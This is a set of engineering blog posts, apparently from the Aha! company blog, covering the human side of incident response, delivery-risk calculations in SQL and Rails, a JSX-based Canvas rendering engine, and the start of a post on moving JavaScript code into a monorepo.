I prepared myself for a cheerful British voice to deliver bad news — the only reason for Tom to call me would be to get engineering's attention on a major system outage. My suspicions were confirmed, and I felt a surge of adrenaline as if a driver in front of me had stood on their brakes. My body was getting me ready to fight, but I needed to think. I started to breathe, knowing that the most important system to keep running right now was my own limbic system.

Managing your own emotional state is a job that has only one qualified candidate, and the physiological systems entrusted to you do not have backups. The most stressful moments as engineers are times when the software has gone all wrong, and it is most critical in those scenarios that we keep our own wetware running. That is the primary topic of this post. But none of us live in a vacuum. We all function as part of a larger team, so we will also present pointers on this for leaders and managers to consider. With all of this in mind, let's dive in.

Three goals for managing incidents

In true Aha! style, we want to be goal-first. Our three goals for incident management are to coordinate and control a response, to regain normalcy, and to do so sustainably.

Goal 1: Coordinate and control the response

The first goal is to coordinate and control the response to an extraordinary, dangerous, and stressful situation.

Of course, we must assess a situation's severity to understand how to manage it and who should be involved. Situations that are not extraordinary are routine, and they might be dangerous and stressful — but they hopefully occur often enough that operators are trained to handle them safely. These nondangerous situations are low-stakes; failure would simply mean trying again later or absorbing the cost of that failure easily. Scenarios that are not particularly stressful simply do not exert enough force per engineer to warrant a special procedure, even if they are extraordinary and high-risk. (This might happen if your operations team is especially skilled.) On the other hand, critical situations often have severe, legal, and even existential risks for a business that cannot resolve their conditions.

Extraordinary, dangerous, and stressful situations (hereafter, I will refer to these as "incidents") are often unmanaged during a company or team's early stages. There are simply not enough people dedicated to operations. Likewise, there are not enough lessons to draw from to build an effective body of institutional knowledge that will become a management framework.

You will know when it is time to adopt a management framework, and that is after your first unmanaged incident. But if your company is past the early startup stages and is in the process of scaling up, you would do well to adopt a framework early on regardless. Chapter 14 of Google's book on site reliability engineering outlines a pretty good framework. If you haven't read it yet, stop reading this article until you have.

Goal 2: Regain normalcy

The second goal is to regain normalcy by trading big problems for smaller ones. This is a topic for another post in the series, but I will touch on it here.

Your mindset when resolving incidents will be radically different than when you are doing other types of engineering. You have to think rationally and methodically about what the root cause of the incident could be, prove that theory, and then create a permanent solution. But you must also adopt mitigating strategies that restore service partially, keep the problem from getting worse, or even communicate effectively about the issue.

In addition to thinking like a detective attempting to identify the "culprit," you also have to think like an EMT whose primary concern is getting the patient to the hospital with a pulse. Tourniquets serve a purpose — even if they endanger the limb on which they are placed, their use is sometimes necessary to save the patient's life. Similarly, tools at our disposal such as rate limiting, temporary captchas, or even choosing to bring the site down trade a big problem (like security vulnerability or flooded servers) in for smaller problems (like bad UX or poor performance).

Goal 3: Do so sustainably

The third goal is to do so without burning out your operations team.

Institutional knowledge is expensive. Hiring is difficult, and retaining good engineers is doubly so. Even if it wasn't a moral imperative that managers should look out for the good of their employees, it simply makes good business sense to protect your team's morale and mental health. Most people talk about burnout in the context of large workloads. Although this can be true, I believe the far more dangerous cause of burnout is a lack of control. If a person's sense of agency is removed when they walk into work, they will choose to preserve it by making the one choice available to them: walking out. A constant stream of incidents constrains the freedom of operations team members — they cannot work on solving new or interesting problems because they are constantly fighting for survival. Similarly, a lack of psychological safety in an organization's culture might mean that they have to weather constant blame and criticism.

What engineers can do to operate effectively

Breathe

The Latin word "spiritus" is at the root of both "spirit" and "respiration." In other words, breath is life. Deep breathing activates your parasympathetic nervous system, which takes you out of "fight, flight, or freeze" mode. Operating out of a lower-brain panic and preparing for a fight is a wonderful mode to engage when threatened by a lion. It is marginally less useful when you have to inspect transmission control protocol traffic or help a failing database recover. For these sophisticated tasks, you require your full brain — and the best way to marshal all of your neurons is to take a few seconds to breathe.

No incident is going to spiral out of control due to six seconds of inaction, but many can be made worse by a decision made in haste. You owe it to yourself (and to your company) to compose yourself and think carefully before deciding on an intervention. As often as necessary, close your eyes, take a long two-second inhale, hold it for two seconds, and exhale for a long two seconds.

Be

Dialectical behavior therapy (DBT) is a type of talk therapy for people who experience strong emotions. And as mentioned earlier, incidents bring intense feelings. A core DBT skill is mindfulness: being fully rooted in the present moment without worrying about the past or the future.

This might sound too tangential for a blog post about managing an engineering incident. But if we are honest, many of our thoughts in the midst of a crisis are worries about the past: "Did I do something to cause this?" "Is there something I could have done differently?" "Did I miss an alert?" Likewise, our thoughts might also be worries about the future: "Am I going to get in trouble for this?" "Is this going to kill the company?" "Am I going to make it home for my kid's game?"

Applying the skill of mindfulness helps us be present in the here and now — so we can solve the problem at hand and root ourselves in what we can actually control. To practice it, try making three statements about things that you see, hear, feel, or smell. Then, make one clear statement about the problem at hand. For example:

My coffee is cold.
I am hungry.
There is a cardinal outside of my window.
The database is receiving too many connections.

This short exercise is based on the 5-4-3-2-1 method for calming anxiety. It works by rooting you in the problem at hand and pushing away irrelevant and unhelpful worries about what led to this present situation or the potential aftermath (which is a smaller problem for tomorrow).

Believe

How you view the world will greatly affect your actions within it. If you believe (and many do, whether or not they might admit to it) that good things happen to good people, bad things happen to bad people, and that the goal of life is to be happy, then an incident is not a technical problem. It becomes an existential crisis — because this is a bad thing happening to us (which means we are bad), and it is blocking our life goal.

Author Timothy Keller puts it like this in Walking With God Through Pain and Suffering:

"If you accept [this sort of worldview] … then that which gives your life purpose would have to be some material good or this-world condition — some kind of comfort, safety, and pleasure. But suffering inevitably blocks achievement of these kinds of life goods. Suffering either destroys them or puts them in deep jeopardy. As Dr. Paul Brand argues in the last chapter of his book The Gift of Pain, it is because the meaning of life in the United States is the pursuit of pleasure and personal freedom that suffering is so traumatic for Americans."

If your worldview has no room for chance accidents, for malevolent actors attempting to extort hardworking people, or for human mistakes and frailty, then you have no business being an engineer. Our profession exists to carve out an ordered space where humans can flourish in an otherwise chaotic world. Roads, bridges, ships, taxes, and even software form the framework of human flourishing. And that framework suffers from entropy, like everything else in our universe.

I am not suggesting that every engineer has to join a seminary, practice meditation, or read up on humanist literature (though our field would be better for it!). What I am suggesting is that as a first responder to technical problems, we have to understand that these problems are a normal, expected part of life. Hard drives fail, code is written in error, and bad actors will use SQL injection and ransomware just as earlier generations of miscreants used clubs and rocks. Standing against the forces of entropy, chaos, and yes — even evil — is what we are paid to do. Incidents, then, are not primarily interruptions of our status quo. They are the highest and noblest moments of our profession.

What managers must do for their teams

There are things you must do as a leader beyond the obvious. Watching for burnout, encouraging employees to take PTO when required, and ensuring the engineering team has the resources (time, money, or hardware) necessary to solve problems are the minimum responsibilities expected from a manager. To create a truly hardy organization that can engineer a highly resilient system, good leadership is required.

Create compassionate accountability

Much has been said about creating cultures of blameless retrospectives. However, our nature is that when we know a mistake has been made, we quietly look at the person who made the mistake. Or perhaps even worse, we pointedly avoid eye contact. It is the leader's job to provide the needed accountability — and we as leaders are the ones accountable.

Gene Kranz, flight director for the Apollo 11 mission, said: "[My] job as flight director is to take the actions necessary for crew safety and mission success … [In my] line of work there is neither ambiguity or a higher authority. It is go, or no go. And I am accountable for the mission."

And Jocko Willink recounted a particularly relevant conversation between him and a junior officer in the Navy SEALs in The Dichotomy of Leadership: "We are responsible ... It was our strategy. We came up with it. We knew the risks. You planned the missions. I approved them. We were the leaders. And we are responsible for everything that happened during that deployment. Everything. That's the way it is. We can't escape that. That is what being a leader is."

During the after-action analysis, you should be the first to admit where decisions you made in the past contributed to an issue and what you personally could have done differently. You also should not expect your team members to similarly out themselves. If necessary, provide compassionate 1:1 coaching to team members who could have done a better job. But while you're together as a team, your job is to build the team.

Build a team

After they've shipped their first bug, I tell every new hire on my team some variation of the following: "You wrote that code. But someone else reviewed it, and I ultimately deployed it. And you followed all of our style guides and existing documentation when you did it. We are a team, and we are going to handle this as a team."

Leaders should already be well-read on building good, high-performing teams, but a reread of Patrick Lencioni's The Five Dysfunctions of a Team is never a bad idea. Lencioni highlights the importance of trust, productive debate, and commitment — and those attributes, when built into a team, pay off during an incident.

On a good team, we can trust our engineers' judgment. They are not afraid to put up a hand and stop someone else from making a mistake, and they are committed to the success of the mission. Those are attributes that have to be built into the team months before the metaphorical pager goes off. They grow at every daily standup and sprint planning meeting.

If you've done it right, you will know when your team is able to handle even a relatively severe incident without your help. If you've done it wrong, a minor incident will reveal the cracks in your organization. Take the opportunity to learn and shore up your foundation when these small fractures form; they will only worsen with time.

Give control to your engineers

Just because leaders are ultimately accountable for the team's success does not mean that they need to micromanage everything that happens in the organization. Engineers with a sense of ownership over the system will see the weak points before they become fractures. And those with a sense of empowerment will either fix the problem themselves or advocate for a feature to be put on the board and prioritized to solve the problem early.

Your job as a leader is to foster this creativity, ownership, and empowerment as much as possible — all while reining in ideas that are likely to result in failure down the line.

This approach might result in mistakes being made. But if your plan as a manager is to have a "mistakeless" organization, you are guaranteed to fail. We want to build a resilient organization instead, and one of the ways to do that is to empower our team to execute on clear objectives.

Putting it all together

I believe teams that function with high degrees of collaboration, delegated control, and compassionate accountability can solve most problems. When those attributes are also present in a team made up of mindful, spirited, and hardworking engineers, they can solve nearly any problem put before them.

The technical problems we must overcome are far less daunting than creating an organization capable of solving them without imploding. In later articles in this series, we'll look into creating effective communication channels as well as how to adopt an appropriate "triage" mindset when navigating problems. Regardless, creating this level of psychological safety in your team is sure to pay off — even if the "pager" never goes off.

And before we conclude, I'd be remiss not to come back to the incident referenced in the beginning. It was detected in fewer than five minutes (thanks to a great communications structure), was tied to a root cause in another three minutes (thanks to an engineer who built a very impressive operations dashboard), and was mitigated in another five minutes (thanks to a different engineer who integrated and specified the necessary procedures into our runbook). It was a stressful day, but I couldn't have been more proud of the team that made solving a scary problem fairly trivial.

I'm grateful that because of the hard work of our team, we don't have too many days like that. If you'd like to be part of a high-performance, high-empathy team, we'd love it if you joined us.

Using calculated attributes to help users surface delivery risks

Michael Shiel — Mon, 08 Apr 2024 00:00:00 GMT

Feature delivery can be impacted by many factors. Some are readily visible, but others are more nuanced — or buried in mountains of data.

What if we could show developers and project managers the factors that would affect feature delivery in real time? And what if that information were part of the record itself? (So anyone looking at or running a report could see what to keep in mind to ensure the team's delivery stays on track.)

What are delivery risks?

We refer to these individual risk factors as delivery risks in Aha! software. During the design phase of this feature, we built up a list of the factors we felt were most important to ensuring reliable delivery. These were based on customer feedback as well as our own internal experience.

Some of the delivery risks we identified were:

Not having a team assigned to a work item
Dependencies not being started, and at least one linked record not having an In progress workflow status
Workflow status not changing for a specific number of days

Additionally, you can customize which delivery risks are enabled on a per-workspace level as well as fine-tune some of the values used in calculating whether or not the risk is active (e.g., how many days is "late" to my team?).

Deciding on an approach

With our risks defined, we needed to figure out an approach for surfacing them to the user in a real-time and efficient manner. We knew we wanted to have delivery risks visible in our record drawers for visibility. We also wanted them to be in reports, which could mean large amounts of data and computation for the more complex risk factors.

Data representation

Let's start with a simple delivery risk: No team assigned. The data required to make the decision about whether this risk factor is active or not lives with the record itself, so it's "free" to load and wouldn't need to be stored. Luckily for us, a majority of the delivery risks we identified fall into this category. They are trivial to implement and virtually free to load or calculate.

Complex risk factors

For a more complex risk factor, let's take a look at the Work stalled delivery risk. Here, we're concerned with a fixed relationship structure within Aha! as well as in epics, features, and requirements. Epics have features, and features have requirements. We define the work as stalled when:

The record's own workflow status hasn't changed in N days (unless it has child records in progress, in which case ... )
Any of its child records that are in progress have workflow statuses that haven't changed in a specific number of days

These bubble up to their parent records. For example, an epic might be stalled because it has a feature that has a requirement whose status hasn't changed recently.

The bottom-up approach

The approach that first sprung to mind was attempting to do the calculations at the point or event where the data changes. We could check for any parent records whenever our status changes and do the necessary work at that point in time. That could work for some of our risk factor definitions. But the catch we saw with Work stalled was that being time-based, it can become a risk without any changes in the underlying data.

One way we thought about solving this was by having some job scheduled to run on a periodic frequency, let's say overnight or hourly. The downside to that is you're compromising to some degree on the real-time aspect. I have to wait for this job to run to see the risk — that's not something I want to think about as a user. We'd also be concentrating a large amount of work at one point in time (for every record, check all of its children's statuses, and so on). And that's just for this one risk factor.

The top-down approach

What if we instead flipped the problem on its head, taking the perspective of looking "down" from the place where we want to see the output of the risk factor? That leads us to calculating each risk factor every time the record loads or the report runs. This definitely gives us the real-time responsiveness we're looking for — but does come with some valid performance concerns.

Generated columns and triggers

We use PostgreSQL as our database, and it comes with an amazing feature that allows you to define generated columns. Unfortunately for us, there was a catch here: Some of the delivery risks we wanted to define have dependencies on other records (e.g., other tables), and a generated column can only refer to the current row.

Another database-centric approach could be to leverage triggers to recalculate a given risk factor whenever the record changes. However, this solution does not allow recalculating based purely on time and without some kind of scheduled job.

Equations

Aha! already has a framework for calculating fields from equations and other data in our reporting system. This was a promising avenue at first: The system automatically tracks dependent records based on the formula used and only updates when they change. Unfortunately, we also ended up ruling out this approach — the equation system has no concept of variables outside of the data itself, such as the current date or time. Because this system is driven purely by changes within other fields, having updates based on time would mean introducing some kind of scheduling component to run on arbitrary granularity. This would add additional complexity and computational overhead.

Our solution: Virtual attributes

Aha! has a calculated_attributes gem that we wrote and open-sourced to solve similar issues. And as a bonus, we already have it in place on many of our models. It works by patching ActiveRecord to include custom SQL statements as part of the normal model query process. By using the calculated(:calculated, :fields, :here) method on a relation, the fields would automatically be executed and added into the model data when it was loaded.

Prior to this work, we were mostly using it for counts or relatively simple calculations. But because it's driven by plain old SQL statements, there was no reason we couldn't use it to execute more complex queries.

Some quick prototyping on the simpler fields showed promising results right away:

calculated :no_team, -> { arel_table[:team_id].eq(nil) }
calculated ...

def risk_factors
  slice(:no_team, ...)
end

This would allow us to write arbitrary SQL to define all of the desired delivery risks.

Query complexity and performance

Calculating all of these fields every time the record loads would inherently make those queries more complex, so we set out to establish a baseline and see just how much more complex they would get. The queries below are simplified and only include risk factors related to a lack of assignee and scheduling.

Here is loading one feature without risks:

SELECT "features"."id", ...
FROM "features"
LIMIT 1;

And here is loading one feature, including the two risk factors mentioned above:

SELECT "features"."id", ...,
  (
    "rf_features_prc"."no_assignee" = TRUE
    AND "features"."assigned_to_user_id" IS NULL
    AND (
      SELECT
        TRUE
      FROM
        workflow_statuses ws
      WHERE
        ws.id = features.workflow_status_id
        AND coalesce(ws.internal_meaning, 0) < 20
    )
  ) AS no_assignee,
  (
    "rf_features_prc"."not_scheduled" = TRUE
    AND "features"."start_date" IS NULL
    AND "features"."due_date" IS NULL
    ...
  ) AS not_scheduled
FROM "features"
LEFT JOIN projects rf_features_projects ON rf_features_projects.id = features.project_id
  ...
LIMIT 1;

Let's say we've added two subselects and a few joins. This seems reasonable looking at just the SQL, but let's also take a look at the query plans for these to get deeper insights.

First, here is the regular feature load:

 Limit  (cost=0.05..0.16 rows=1 width=279) (actual time=0.021..0.021 rows=1 loops=1)
   ->  Seq Scan on features  (cost=0.05..1001.00 rows=9003 width=279) (actual time=0.020..0.020 rows=1 loops=1)
         Filter: (project_id = ANY ('{...}'::bigint[]))
 Planning Time: 0.217 ms
 Execution Time: 0.052 ms
(5 rows)

That's about as simple as it gets for a query. But what about including the calculated risk factors?

 Limit  (cost=0.34..17.51 rows=1 width=281) (actual time=0.079..0.081 rows=1 loops=1)
   ->  Nested Loop Left Join  (cost=0.34..154647.50 rows=9003 width=281) (actual time=0.079..0.080 rows=1 loops=1)
         ->  Nested Loop Left Join  (cost=0.20..3807.43 rows=9003 width=282) (actual time=0.050..0.051 rows=1 loops=1)
               Join Filter: (rf_features_rr.riskable_id = features.id)
               Rows Removed by Join Filter: 8
               ->  Nested Loop Left Join  (cost=0.20..2455.79 rows=9003 width=282) (actual time=0.034..0.034 rows=1 loops=1)
                     ->  Seq Scan on features  (cost=0.05..1001.00 rows=9003 width=279) (actual time=0.026..0.026 rows=1 loops=1)
                           Filter: (project_id = ANY ('{...}'::bigint[]))
                     ->  Index Scan using index_project_risks_configurations_on_project_id on project_risks_configurations rf_features_prc  (cost=0.14..0.16 rows=1 width=11) (actual time=0.005..0.005 rows=1 loops=1)
                           Index Cond: (project_id = features.project_id)
                           Filter: enabled
               ->  Materialize  (cost=0.00..1.21 rows=10 width=8) (actual time=0.010..0.014 rows=9 loops=1)
                     ->  Seq Scan on record_risks rf_features_rr  (cost=0.00..1.16 rows=10 width=8) (actual time=0.006..0.008 rows=9 loops=1)
                           Filter: ((riskable_type)::text = 'Feature'::text)
                           Rows Removed by Filter: 3
         ->  Index Scan using releases_pkey on releases rf_features_releases  (cost=0.14..0.16 rows=1 width=9) (actual time=0.009..0.009 rows=1 loops=1)
               Index Cond: (id = features.release_id)
         SubPlan 1
           ->  Index Scan using workflow_statuses_pkey on workflow_statuses ws  (cost=0.28..8.30 rows=1 width=1) (actual time=0.012..0.013 rows=1 loops=1)
                 Index Cond: (id = features.workflow_status_id)
                 Filter: (COALESCE(internal_meaning, 0) < 20)
         SubPlan 2
           ->  Index Scan using workflow_statuses_pkey on workflow_statuses ws_1  (cost=0.28..8.30 rows=1 width=1) (never executed)
                 Index Cond: (id = features.workflow_status_id)
                 Filter: (COALESCE(internal_meaning, 0) < 20)
 Planning Time: 1.554 ms
 Execution Time: 0.338 ms
(27 rows)

OK! We cranked up the complexity quite a bit there, but the execution time is still well within reason (at least while running Postgres 14 on an M1 Pro laptop). These experiments gave us the confidence to know that this was a viable approach — but that we should still be cautious about loading delivery risks that are not strictly necessary.

When do risks load?

There are three places you can see delivery risks within Aha! software:

In the drawer for a record (if the delivery risk item has been added to the layout)
On the card for a record (if one of the delivery risk's fields has been added to the card layout)
In a report (if you're filtering by delivery risk or if you've added a delivery risk column to the report)

Notice that all of these places are conditional — they all have a component that makes loading delivery risk information optional. We can use this to help avoid paying the performance penalty when loading these views. Due to the way our drawer layouts are implemented, the data just naturally isn't loaded if the delivery risks item isn't in the layout. So this would happen for free.

Similarly for the card data, when we're generating the query to load the data required to render the board, we have access to the card layout and can make the decision on whether we need to include the risk factors or not.

Reporting is actually the most optimal case in that we have enough information to even know exactly which risk factors need to be loaded. When you select a delivery risk in a filter or add a delivery risk column to the report, the SQL for just that risk factor can be dynamically inserted into our query builder so performance is as optimal as possible.

The final implementation

After reviewing the options available to us, the only solution that ticked all of our boxes was calculating the fields for each object as they load using the calculated_attributes gem.

We were able to have proof of concepts for most of the other delivery risks pretty quickly and started to abstract them into a concern and build a DSL to clean up their definitions.

Defining a new risk is now as simple as calling risk_factor:

risk_factor :no_assignee, arel_table[:assigned_to_user_id].eq(nil)

risk_factor :not_scheduled, arel_table[:start_date].eq(nil).and(arel_table[:due_date].eq(nil)), except: Requirement

The risk_factor method tracks the risk factors in an object (active_risk_factors) on the class, allowing us to build a pre-defined scope to handle calling calculated with all of the delivery risks automatically passed as a parameter:

scope :with_risk_factors, -> {
  HasRiskFactors.joins_for_class(klass).reduce(current_scope || self) do |acc, join|
    acc.joins(join)
  end.calculated(*active_risk_factors.keys)
}

Now, whenever we'd like to load a feature with the active risk factors, it's as simple as:

Feature.with_risk_factors.find("DEMO-123").risk_factors

=> { :no_assignee => true, :not_scheduled => false }

Local benchmarking and performance

Here are some benchmarks done on loading features with and without delivery risks, performed on my MacBook Pro (M1 Pro CPU) using Postgres 14. The units are in seconds. All here means "with no limit," and that is 8998 features on my local database. Each row was run for 10,000 iterations and averaged. This also includes all 17 of the available delivery risks in Aha! — so the query and plan are even more complex than the examples above.

                               user     system      total        real
1    Feature               0.021903   0.000080   0.021983 (  0.022046)
10   Features              0.019104   0.000032   0.019136 (  0.019164)
100  Features              0.018840   0.000026   0.018866 (  0.018901)
1000 Features              0.018174   0.000018   0.018192 (  0.018203)
All  Features              0.017293   0.000034   0.017327 (  0.017340)
1    Feature with risks    0.617923   0.000863   0.618786 (  0.619724)
10   Feature with risks    0.601085   0.001258   0.602343 (  0.603338)
100  Feature with risks    0.588217   0.000949   0.589166 (  0.590493)
1000 Feature with risks    0.589340   0.000919   0.590259 (  0.591504)
All  Feature with risks    0.589590   0.000745   0.590335 (  0.591605)

From this, we can see that loading the delivery risks is meaningfully slower. However, we should also take into account the complexity of the additional data being requested. What is potentially the most interesting insight here is that there doesn't appear to be any correlation between the number of records loaded and the query time: a testament to Postgres' raw performance. This insight gives us confidence that we're going to have stable performance on even the largest workflow boards or reports.

Aha! is happy, healthy, and hiring. Join us!

This feature took a lot of tinkering and guidance from other engineers. Without such a knowledgeable and helpful team, I would not have arrived at this clean solution. If you want to build lovable software with this talented and growing team, apply for an open role.

Building a dynamic Canvas rendering engine using JSX

Percy Hanna — Thu, 14 Mar 2024 00:00:00 GMT

Our product team is busy adding many great new features to Aha! Whiteboards and Aha! Knowledge — including wireframes, voting, and improvements to viewing Aha! Roadmaps data within a whiteboard. We added all of this functionality in just the last few months, and we are busy building even more features that will deliver product value to our users.

As the engineering lead for these products, I saw all of the above features (and others) on our product roadmap and had a few thoughts:

How can we easily build features that rely on dynamic content and real-time user collaboration?
How can we do that on Canvas? Rendering dynamic content on Canvas is complicated — or at least, it's much more difficult than using HTML and React, which is how we have built most interactive features at Aha!

The challenge

Anyone who has used Canvas in the past understands the challenge. You cannot simply render content to the screen — you must manually draw content using functions such as lineTo, fillRect, fillText, and so on. Consider the really simple example of rendering "Hello, world!" with basic styling and a quick layout. Let's try and reproduce this HTML in Canvas:

<span style="border: solid 1px black; padding: 5px; font: 16px Times;">
  Hello, world!
</span>

The code above will produce this:

But let's see what we would need to generate this in Canvas:

// Rendering context
const ctx: CanvasRenderingContext2D = canvas.getContext('2d');
const padding = 5;

// Measure the text
ctx.font = '16px Times';
ctx.textBaseline = 'top';
const textMetrics = ctx.measureText('Hello, world!');

// Calculate the box size
const contentWidth = textMetrics.width + padding * 2;
const contentHeight = textMetrics.fontBoundingBoxDescent + textMetrics.fontBoundingBoxAscent + padding * 2;

// Draw the border
ctx.fillStyle = 'black';
ctx.strokeRect(0, 0, contentWidth, contentHeight);

// Render the text
ctx.fillText('Hello, world!', padding, padding + textMetrics.fontBoundingBoxAscent);

Almost 20 lines of code just to render the most basic of content.

Dynamic content

This becomes even more complex when you start adding dynamic content. For example, one of the first features in our Aha! Whiteboards roadmap was to add emoji reactions to our sticky note shape. This is a simple way to gather feedback from everyone viewing the whiteboard. The feature seems simple enough. In React/HTML, you might have something that looks like this:

<button className="emoji-button" onClick={clickHandler}>
  👍 1
</button>

And here is what the user would see:

In Canvas, this becomes much more difficult. We have to render the button, add the padding and border radius, and then render the emoji and reaction number.

But it doesn't stop there: What if 10 people react with a thumbs-up? Or 100? Now, that button must be wider to adapt to the content inside of it. In HTML, you don't even have to think about this. It just happens. You would just write your code like this:

<button className="emoji-button" onClick={clickHandler}>
  👍 {counter}
</button>

Chances are that's how your component was written in the first place. You didn't even think about how to resize the button element — the browser's rendering engine just did that for you. Emoji reactions was just the first feature I saw in our roadmap. And there were many others. But the big, daunting one was wireframes.

Not only did we need a way to render a button that was entirely in our control, but we also needed to allow users to create their own buttons and add their own content to it. And a button was one of the simpler components we needed.

The naive solution

The very naive solution would be to write each button and wireframe shape separately. You could perhaps create a renderButton function as a helper to render a button to the Canvas. Generalize the above code into a function, and you come up with something like this:

// Rendering context
const ctx: CanvasRenderingContext2D = canvas.getContext('2d');

function renderButton(text: string, padding = 5) {
  ctx.save();

  // Calculate the box size
  const textMetrics = ctx.measureText(text);
  const contentWidth = textMetrics.width + padding * 2;
  const contentHeight = textMetrics.fontBoundingBoxDescent + textMetrics.fontBoundingBoxAscent + padding * 2;

  // Draw the button background
  ctx.beginPath();
  ctx.roundRect(0, 0, contentWidth, contentHeight, 4);
  ctx.fill();

  // Render the text
  ctx.fillText(text, padding, padding);

  ctx.restore();
}

But this solution is limited. It only solves a specific problem and doesn't help fill in the functionality gap that HTML addresses out of the box. Imagine how this would scale as you add more complex shapes like these:

Navigation menu:

Dropdown picker:

So the complexity of rendering all of these wireframes grows quickly, even with relatively simple shapes. How do you calculate the width and height of each navigation item? How do you render the borders, backgrounds, and dividers between each item?

Buttons

Let's take a deeper look at a very simple shape we have in our Wireframes: the button. As I demonstrated above, implementing a basic button renderer would not be difficult in and of itself. But there is already a bit of added complexity here. Our button needed to support multiple styles:

Style	Example
Basic
Rounded
Outline
Rounded outline
Link

Each of these variations adds a bit more code and complexity to our renderButton function. It would definitely be possible to support all of these designs with a single function, but would it be elegant? Reusable? Dynamic?

Did you notice the icons? Well, users can choose to place the icon on the right side instead. And they can change the color of the button and the text, too. By themselves, each of these are minor things to add. But eventually, that function would become overloaded with all the variations, customizations, and edge cases that need to be handled.

JSX

In order for our team to be able to easily implement all of these features, we needed a readable, elegant, and powerful way to render dynamic content to Canvas in a familiar way. I thought to myself, wouldn't it be great if we could just render content to Canvas the same way we do with React?

And then I had my Aha! moment. WE COULD! To do this, we would use one of the really powerful and innovative features that React introduced to the world — something called JSX. It's really just syntactic sugar to write HTML syntax into declarative and well-structured element objects. For those of you who are unfamiliar with JSX, what it does for you under the hood is convert code like this:

<button className="emoji-button" onClick={clickHandler}>
  👍 {counter}
</button>

Into something like this:

_jsx('button', { className: 'emoji-button', onClick: clickHandler }, '👍 ', counter);

JSX, in my opinion, was the biggest innovation that came out of React given that you could write HTML directly in your JavaScript. I had used other frameworks such as MooTools in the past. You could use them to dynamically construct HTML in JavaScript, but with a very verbose and tedious syntax. It looked very similar to the converted code above. And it worked, but it was not satisfying or pleasant.

The beauty of JSX is that you can override how elements are converted to JavaScript code using something called a pragma. A pragma, or directive, is something that tells the JSX compiler how to process the code. In your JSX/TSX code, you can add a pragma to the top of your file like this:

/** @jsx CanvaSX */
import { CanvaSX } from 'canvasx';

Now, instead of converting your JSX to React code, the above code would be converted to something called CanvaSX code (more on this later):

CanvaSX('button', { className: 'emoji-button', onClick: clickHandler }, '👍 ', counter);

The solution

My goal was simple and clear: I wanted to be able to write JSX code that could render a simple navigation/tab menu. The system should generate the layout and render that content for me dynamically, and I shouldn't have to think about the complexities of measuring text and padding and layouts. It would need to handle very common layout patterns such as margin, padding, (rounded) borders, and so on.

The really powerful feature would be to have all the layout complexity completely hidden from the developer. When rendering the navigation items, the width of each item would need to be based on the text and/or icon inside it, and then the borders and background should be rendered based on the width of that content. We would then need to render dividers between each item.

Introducing CanvaSX

I spent some time prototyping a rough implementation of a rendering engine that I've come to call CanvaSX (Canvas+JSX). The early versions were quite rough, but the benefits were obvious. I could write simple shapes like a button or navigation menu using very familiar syntax, and I didn't even have to think about calculating coordinates or layouts.

Eventually, I added support for basic interaction properties (such as onClick and tooltip handlers) and some very rudimentary flexbox-like components, too. Now, we could have something like a real button completely rendered in Canvas. The end result made the emoji button as simple as this code:

<Rect
  fill={backgroundColor}
  borderRadius={2}
  padding={2}
  onClick={emojiClickHandler}
  tooltip={emojiTooltipContent}
>
  <FlexRow gap={2} verticalAlignment='center'>
    <Emoji shortCode={shortCode} />
    <Text color={textColor}>{votes}</Text>
  </FlexRow>
</Rect>

Which made sure we could offer reactions like these:

The wireframe button is very similar, but it simply passes along user input to the properties. For example, to support rounded vs. square buttons, we just need to write something like this:

<Rect
  fill={backgroundColor}
  borderRadius={round ? 32 : 4}
>
  <Text color={textColor}>{text}</Text>
</Rect>

This code is very easy to read for anyone familiar with React, and CanvaSX addresses all of the layout complexities.

How does it work?

The magic behind CanvaSX is that every component can measure itself. With this information, CanvaSX can generate the layouts automatically. This is what the Text component's measuring function might look like:

Text.calculateDimensions = (props, ctx: CanvasRenderingContext2D) => {
  ctx.save();

  if (props.font) {
    ctx.font = props.font;
  }

  const textMetrics = ctx.measureText(props.children);

  ctx.restore();

  return {
    width: textMetrics.width,
    height: textMetrics.fontBoundingBoxAscent,
  };
};

A parting note

Building CanvaSX is one of the highlights of my career. I have had the opportunity to work on many features in my more than five years of working at Aha! These include capacity planning for teams, redesigned drawers, Aha! Develop, and our custom card layout editor. I've recently worked on many improvements to Aha! Whiteboards, which is where CanvaSX came in. It has proven itself to be extremely powerful and flexible — and it is now used as the foundation for emoji reactions, wireframes, updated record cards, and our brand-new voting tool!

I work with a team of extremely talented engineers at Aha! We collaborate to solve hard problems and deliver value to our users. If this sounds like something you would enjoy doing, you should check out our open positions.

From many to one: Moving our JavaScript code into a monorepo

José Guerrero — Fri, 02 Feb 2024 00:00:00 GMT

Do we need a monorepo?

When I first joined Aha!, I was surprised by how well-structured the engineering onboarding program was. I spent several weeks getting to know all the teams and learning the pieces of our system. What I didn't realize at the time was these onboarding conversations gave me more than basic technical knowledge. They opened a door into the full development workflow. When I saw a simple style change in our web components library take two pull requests and half an hour, I knew there was an unusual pain point.

All of our products exist in a single Rails repository, so it's fair to say that we run a multiproduct monolith that shares business logic, pieces of UI, and more. This makes it easy and fast to work on new features no matter the product(s). In contrast, much of our JavaScript code used to exist as private npm packages. Although having private packages is great for reusing code in many places, it is not the best option if you are mostly using them in a single place — because it adds too much overhead to the process. In our case, we were pulling most of the packages only into our Rails monolith.

At Aha! we are interrupt driven, and the engineering team makes big efforts to create tools that help us do our work while being able to switch contexts easily and tackle bugs, assist a teammate, or just work on something else if we need to. The process to work on our private npm packages wasn't interrupt driven at all. If you had to work on one of our private packages, you knew it was going to take a significant amount of time (even if it was as simple as a style change in our web components library).

Even though it could get tedious, the manual process was pretty straightforward:

Clone the repository of the package.
Install the npm dependencies with the correct node version.
Start the local development environment.
Make changes to the codebase.
Test changes in the package's local development environment.
Link changes to our Rails app using yalc.
Test changes in our local app environment.
Repeat steps four through seven until you are happy with the changes.
Create a pull request in the private package repository with the new changes.
Request code review.
Once code review is completed, merge the pull request and push the new package version to npm.
Create a pull request in the Rails app to bump the package version.
Request code review.
Once code review is completed, merge the pull request and deploy to production.

The amount of time it took to ship anything related to a private npm package was way higher than what we were comfortable with, and having to request code reviews twice also took time from whoever was doing the reviews. During my first weeks, I only heard about this problem. But in my first few months at Aha!, I worked constantly in multiple private npm packages and quickly realized that this was really degrading the developer experience.

We need a monorepo — now what?

After experiencing this problem firsthand, I knew we had to do something about it. We don't have many meetings at Aha!, but we do have weekly check-ins with our managers. These are the perfect time to talk about what we would like to work on in the future. I volunteered to work on a monorepo proof of concept (POC) to determine whether or not it was feasible with our current architecture. We had a very specific set of goals for our monorepo:

It needs to maintain Git history: Some of our packages are a couple years old, and we didn't want to lose all that history.
